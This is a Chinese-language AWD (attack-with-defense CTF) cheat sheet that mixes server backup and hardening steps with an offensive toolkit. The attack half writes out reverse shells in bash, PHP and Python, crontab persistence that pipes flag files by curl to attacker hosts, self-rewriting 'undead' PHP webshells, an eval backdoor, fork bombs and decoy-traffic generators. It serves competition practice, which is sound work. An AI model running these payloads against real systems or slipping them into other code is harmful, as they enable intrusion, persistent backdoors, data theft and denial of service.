前言:算是第一次打awd,比赛前做了挺长时间的准备,但是比赛中出现的各种状况还是搞得自己措手不及。比赛前就一直看各位大佬的awd总结,想自己总结出一套比较科学合理的web awd上手流程,但奈何一场比赛中也没办法遇到较全的情况(主要还是自己太菜),只能尽量总结的全一些,没提到的接下来再慢慢补充吧
连接
- 正常ssh利用密钥登陆:
ssh -i -id_ras user@ip
- 免密登陆命令:
ssh-copy-id -i ~/.ssh/id_rsa.pub root@192.168.1.100
将公钥复制,实现免密登陆,root处换成需要的。
修改ssh密码(可选)
源码备份
可使用带界面的工具如xftp、Filezilla进行备份,操作便捷。
也可使用scp命令:
scp -r -P Port remote_username@remote_ip:remote_folder local_file
如果源码太大最好使用压缩命令先进行源码打包后再传输,这次awd就踩了这个坑,部分题目源码文件大且多,传输速度感人。。
压缩命令:
tar -zcvf /home/html.tar.gz /html
(把html文件夹打包后生成一个/home/html.tar.gz文件)
数据库备份:
找配置文件,找到用户名和密码之后登陆mysql
[root@localhost ~]# cd /var/lib/mysql (进入到MySQL库目录,根据自己的MySQL的安装情况调整目录)
[root@localhost mysql]# mysqldump -u root -p Test>Test0809.sql,输入密码即可。
- 数据库还原:
- 法一:
[root@localhost ~]# mysql -u root -p 回车,输入密码,进入MySQL的控制台”mysql>”,输入命令”show databases;”。 - 看看有些什么数据库;
- 建立你要还原的数据库,输入”create database voice;”,切换到刚建立的数据库,输入”use voice;”,回车;导入数据,输入”source voice.sql;”,回车,开始导入,再次出现”mysql>”并且没有提示错误即还原成功。
[root@localhost ~]# cd /var/lib/mysql (进入到MySQL库目录,根据自己的MySQL的安装情况调整目录)
[root@localhost mysql]# mysql -u root -p Test<Test0809.sql,输入密码即可(将要恢复的数据库文件放到服务器的某个目录下,并进入这个目录执行以上命令|)。
moodle_bak.sql是需要恢复的文件名
wy大佬课上讲的备份方法
web目录备份
备份最好基于时间备份,每十分钟运行一次
1
2
3
4
time=`date +%d%k%M`
tar -zcvf ~/backup/$time.tar.gz
/var/www/html/1
2
3crontab -e
10 * * * * ~/webback.sh数据库备份
1
2
3
4
5
6
7mysqldump -uroot -p --single-transaction --all-databases > backup.sql #所有
mysqldump -u root -p --single-transaction dataname > dataname.sql #单个
#遇到加锁的情况:
mysqldump --skip-lock-tables -uxxxx -p -h 166.111.9.173 -R urlevent20180319 > ./backup.sql
`mysqldump -h127.0.0.1 -uroot -ppassword database |gzip > $backupDir/$database-$today.sql.gz`同样也可以用crontab定时备份
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#mysql 备份脚本
#备份目录
backupDir=/home/backup/database
#mysqlDump
mysqldump=/usr/local/mariadb/bin/mysqldump
#ip
host=127.0.0.1
#用户名
username=root
password=xxxx
#日期
today=`date +%Y%m%d`
#要备份的数据库数组
databases=(blog chinese_medicne)
#echo $databaseCount
for database in ${databases[@]}
do
echo `开始备份`$database
$mysqldump -h$host -u$username -p$password $database | gzip > $backupDir/$database-$today.sql.gz
echo `成功备份`$database`到`$backupDir/$database-$today.sql.gz
done1
2crontab -e
10 * * * * ~/sqlbak.sh数据库恢复
恢复mysql
mysql -uroot -p TEST < bak.sql
修改mysql密码
1
2update mysql.user set password=PASSWORD('skyboy') where user='root' and host='localhost';
flush privileges;数据库降权(防止别人改你的数据库密码)
1
2
3CREATE USER 'dog'@'localhost' IDENTIFIED BY '123456';
GRANT ALL ON databasename.* TO 'dog'@'localhost';
flush privileges;
扫描网段,获取网络拓扑
nmap –sn 192.168.71.0/24
nmap -sP 192.168.71.100-254
router scan
Patch
1.不死马查杀
1 | ps -aux|grep 'www-data'|awk '{print $2}'|xargs kill -9 |
比如存在不死马.yulaoshi.php
1 | rm .yulaoshi.php && mkdir .yulaoshi.php #此时,只是不死马不能继续写,要想完全杀死还是要清内存 |
2.定时任务–Crontab相关
* * * * * 命令
五个*从左到右分别是:分钟、小时、日、月、星期
1 | echo ''|crontab #添加一条crontab |
反弹shell
bash -c 'bash -i > /dev/tcp/192.168.1.1/4444 0>&1'
添加crontab
echo "* * * * * bash -c 'bash -i > /dev/tcp/192.168.1.1/4444 0>&1'"|crontab
编码
echo -n "* * * * * bash -c 'bash -i > /dev/tcp/192.168.1.1/4444 0>&1'"|base64 -w 0
3.常用指令
1 | ps aux|grep www-data |
4.流量抓取
php篇
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function blackListFilter($black_list, $var){
foreach($black_listas $b) {
if(stripos($var, $b) !== False){
var_dump($b);
die();
}
}
}
$black_list= ['eval', 'assert', 'shell_exec', 'system', 'call_user_func', 'call_user_method', 'passthru'];
$var_array_list= [$_GET, $_POST, $_COOKIE];
foreach($var_array_listas $var_array) {
foreach($var_arrayas $var) {
blackListFilter($black_list, $var);
}
}
python Tornado篇
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30import tornado.web
from models import db
class BaseHandler(tornado.web.RequestHandler):
def orm(self):
return db()
def on_finish(self):
db.remove()
def get_current_user(self):
return self.get_secure_cookie("username")
def check_captcha(self):
try:
x = float(self.get_argument('captcha_x'))
y = float(self.get_argument('captcha_y'))
if x and y:
uuid = self.application.uuid
answer = self.application._get_ans(uuid)
print x,y,uuid, answer
if float(answer['ans_pos_x_1']) <= x <= (float(answer['ans_width_x_1']) + float(answer['ans_pos_x_1'])):
if float(answer['ans_pos_y_1']) <= y <= (
float(answer['ans_height_y_1']) + float(answer['ans_pos_y_1'])):
return True
return False
except Exception as ex:
print str(ex)
return False
5.WAF
待补全。
6.文件监控
待补全。
7.其他
Exploit
攻击框架使用
待补全。
RCE之后
1.写webshell
webshell好有一定的伪装性,文件名可以以 . 开头
对于不同肉鸡上的webshell设置不同密码,防止别人用你的马来收 flag
1 | "/[email]/e",$_POST['h'],"error"); @preg_replace( |
1 |
1 |
|
2.写不死马
eval型
1
2
3
4
5
6
7
8def write_memery_webshell(url, directory, password):
sleep_time = 500 # micro second
code = "<?php $content = '<?php eval(base64_decode($_REQUEST[%s]));?>'; $writable_path = '%s'; $filename = '.%s.php'; $path = $writable_path.'/'.$filename; ignore_user_abort(true); set_time_limit(0); while(true){ if(file_get_contents($path) != $content){ file_put_contents($path, $content); } usleep(%d); }?>" % (password, directory, password, sleep_time)
filename = ".%s.php" % (password)
path = "%s/%s" % (directory, filename)
payload = "file_put_contents('%s', base64_decode('%s'));" % (path, code.encode("base64").replace("\n", ""))
print payload
return code_exec(url, payload).split("\n")[0:-1]命令型
1
2
3
4
5
6
7def write_memery_webshell(url, directory, password):
sleep_time = 500 # micro second
code = "<?php ?>'; $writable_path = '%s'; $filename = '.%s.php'; $path = $writable_path.'/'.$filename; ignore_user_abort(true); set_time_limit(0); while(true){ if(file_get_contents($path) != $content){ file_put_contents($path, $content); } usleep(%d); }?>" % (password, directory, password, sleep_time)
filename = ".%s.php" % (password)
path = "%s/%s" % (directory, filename)
payload = "file_put_contents('%s', base64_decode('%s'));" % (path, code.encode("base64").replace("\n", ""))
return shell_exec(url, payload).split("\n")[0:-1]唤醒内存马
1
2
3
4
5def active_memery_webshell(url):
try:
requests.get(url, timeout=0.5)
except:
print "[+] OK!"
3. Crontab
1 | $message="* * * * * curl 192.168.136.1:8098/?flag=$(cat /var/www/html/flag)&token=7gsVbnRb6ToHRMxrP1zTBzQ9BeM05oncH 9hUoef7HyXXhSzggQoLM2uXwjy1slr0XOpu8aS0qrY"; ignore_user_abort(true); |
4.反弹shell
- bash:
1 | bash -i >& /dev/tcp/127.0.0.1/4444 0>&1 |
- php:
1 | php -r '$sock=fsockopen("127.0.0.1","4444");exec("/bin/sh -i <&3 >&3 2>&3");' //这里需要注意下单双引号的闭合问题 |
- python:
1 | import socket,subprocess,os |
在反弹回来的shell中出现tty错误的时候我们的做法:
python -c 'import pty; pty.spawn("/bin/bash")'
反弹shell接收器
5.进程守护
1 | while [[ : ]]; do |
1 | ignore_user_abort(true); |
6.fork炸弹
eval型
1
2
3
4
5
6def main():
host = "192.168.50.57"
port = "80"
url = "http://%s:%s/code.php" % (host, port)
code = "system(\"echo '.() { .|.& } && .' > /tmp/aaa\");system(\"/bin/bash /tmp/aaa\");echo \"seems good!\";"
print code_exec(url, code)命令型
1
2
3
4
5
6def main():
host = "127.0.0.1"
port = "80"
url = "http://%s:%s/c.php" % (host, port)
command = ":(){ :|: & };:"
shell_exec(url, command)
辣鸡流量生成器
为了减少payload被别人轻易获取并重放,我们需要不断释 放大量的垃圾流量;好里面有众多的flag字符串来扰乱敌 人的分析。
比赛开始,完成了基础的运维工作后,运维手就可以往外打垃圾流量了;垃圾流量的发射要贯穿整个比赛流程,以掩护 我们真正的攻击payload。
从题目源码中获取真实参数:
1 | def get_all(root, arg): |
垃圾流量生成:
1 | def get_fake_plain_payloads(flag_path): payloads = [] |
垃圾流量发射:
1 | def handle_get(url, root, flag_path): |
流量重放
对于团队中的attacker而言,流量的快速同步和好用的流量 分析机制是非常有用的; 对于可疑的流量,应该能快速粘贴到burp等工具中进行测试, 如果可以攻击则使用script-gen等插件迅速生成攻击脚本并 整合到攻击框架中。
把流量down下来:scp -r gamebox:/ctfer/logs/ ./
也可以使用定时脚本的方式。
由burp生成EXP的神器:
工具
审计工具
Webshell管理工具
- 菜刀
- Antsword
- 冰蝎
待补全
defense
黑白名单过滤脚本
修改curl、cat等命令
不死马删除脚本
(1).
ps auxww|grep shell.php
找到pid后杀掉进程就可以,你删掉脚本是起不了作用的,因为php执行的时候已经把脚本读进去解释成opcode运行了(2).重启php等web服务
(3).用一个ignore_user_abort(true)脚本,一直竞争写入(断断续续)。usleep要低于对方不死马设置的值。
(4).创建一个和不死马生成的马一样名字的文件夹。
小 Trick: 使用
find / -name *flag*
或grep -rn ”flag” *
类似的语句可以快速发现 flag 所在的地方,方便后续拿分。
ps auxww|grep .yulaoshi1.php
crontab
1 | system('echo \"* * * * * cat /flag/flag.txt | curl http://172.91.0.115:3001/flag --data-binary @- \n* * * * * echo \\\"<?php \\\\\\n if(@md5(\\\\\\\$_POST[pass])==\\\\\\\"03ae84723832951e7a85a81d9c38a76a\\\\\\\"){@eval(\\\\\\\$_POST[\"1\"]);} \\\\\\n \\\" > /var/www/html/Cyc1e.php \" | crontab') |
由于比较快扫到了 Wordpress 中的一句话木马,所以立即连接木马,批量插入了Crontab定时任务,利用木马直接调用 system() 函数,嵌入反弹flag的定时任务,不管对方怎么补漏洞,一样能很轻松的拿到 flag 的(本菜第一次线下的时候被一白师傅这样打蒙了)
一共植入了两条定时任务(按个人需求植入),第一个定时任务是每个一分钟带着flag,post请求我本地开启的3001端口的web服务一次,所以就坐着收flag就好了,第二个定时任务是往网站根木马写马,植入的效果 ↓ ↓ ↓
所以本地起个flask服务(比较好自动化提交flag和设定端口),接受 flag 并自动提交就好了,大师傅们问没有权限怎么执行crontab,crontab不需要root权限的,什么用户起的就是什么权限,所以www-data用户注上命令,需要本地上个 shell 去kill才行的。
1 | # - coding:utf8 |